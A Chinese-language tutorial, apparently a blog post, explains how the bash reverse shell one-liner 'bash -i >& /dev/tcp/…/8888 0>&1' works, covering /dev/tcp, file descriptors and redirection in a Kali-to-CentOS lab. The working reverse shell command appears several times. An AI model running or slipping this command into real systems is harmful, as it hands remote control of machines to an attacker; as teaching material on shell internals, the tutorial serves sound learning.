反弹shell bash -i命令

目录

什么是反弹shell？

假设有两台主机
A(控制端)
B(被控端)

正向shell

，就是ssh、Telnet的连接，A主动发起连接B指定端口，然后A就可以通过命令控制B了

反弹shell

，A先开启一个监听端口，让B去连接A的这个端口，连接成功后，A就能控制B了

命令拆分详解

bash -i >& /dev/tcp/192.168.1.1/9090 0>&1

**

bash -i

**

bash -i，意为创建一个

交互式

的bash shell

**

/dev/tcp/192.168.1.1/9090

**

dev是设备(device)的英文缩写。这里主要存放与设备（包括外设）有关的文件

/dev/tcp/

是linux中的一个特殊设备，打开这个文件就相当于

发出了一个socket调用，建立一个socket连接

，读写这个文件就相当于在这个socket连接中传输数据。同理，linux中还存在/dev/upd/

所以上述命令是和192.168.1.1:9090建立TCP连接

虽然

/dev/tcp/${HOST}/${PORT}

这个字符虽然看起来像一个文件系统中的文件，并且位于/dev这个设备文件夹下

但是

这个文件并不存在

，并且不是一个设备文件。这只是bash实现的用来实现网络请求的一个接口，其实就像我们自己编写的一个命令行程序，按照指定的格式输入host port参数，就能发起一个socket连接

文件描述符

Linux系统中，把一切都看做是文件，当进程打开现有文件或创建新文件时，内核向进程返回一个文件描述符，

文件描述符

就是内核为了高效管理已被打开的文件所创建的索引，用来

指向被打开的文件

所有执行I/O操作的系统调用都会通过文件描述符，即文件描述符可控制输入输出（输出/输出重定向）
标准输入(stdin)代码为0使用<或<<默认设备键盘标准输出(stdout)代码为1使用>或>>默认设备显示器标准错误输出(stderr)代码为2使用2>或2>>默认设备显示器
大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。

一个命令通常从一个叫标准输入的地方读取输入

，默认情况下，这恰好是你的终端。同样，

一个命令通常将其输入写入到标准输出

，默认情况下，这也是你的终端。

shell 输入/输出重定向

如上，我们正常使用终端执行命令时，默认输入输出皆是终端。

输出重定向

顾名思义，就是

将输出结果重定向到其他地方

**1️⃣

>

**

使用

1> 

将输出结果写入到指定文件中，文件不存在则创建文件，文件如果存在会覆盖原文件内容

1>

中的1是默认的可以忽略不写，也就是可以写成

>

同理

0<

可以写成

<

**2️⃣

>>

**

使用

>>

会追加内容在文件末尾

3️⃣实例

控制端：kali
被控端：centos

kali监听8888端口

centos输入命令

kali监听到输出结果

kali继续监听端口，centos输入命令

kali得到输出结果

输入重定向

1️⃣实例

kali开启监听端口

centos执行命令，在kali输入命令就能控制centos输入

输入输出结合获得shell

两条命令

bash -i > /dev/tcp/192.168.52.144/8888

bash -i < /dev/tcp/192.168.52.144/8888

结合一下，即可实现反弹shell

bash -i >& /dev/tcp/192.168.52.144/8888 0>&1

**1️⃣

0>&1

**

语法格式是

>&word

当word为

数字

或者

-

时，表示

复制

文件描述符
复制格式有num1<&num2和num1>&num2，区别是，前者是以只读的形式打开，后者是以写的形式打开，这里两者均可

0>&1

这里意思是将

0[标准输入]

重定向到了

1[标准输出]

指向的位置

**2️⃣

>&

**

当word不是数字或-字符时，

>&

表示将标准错误输出合并到标准输出中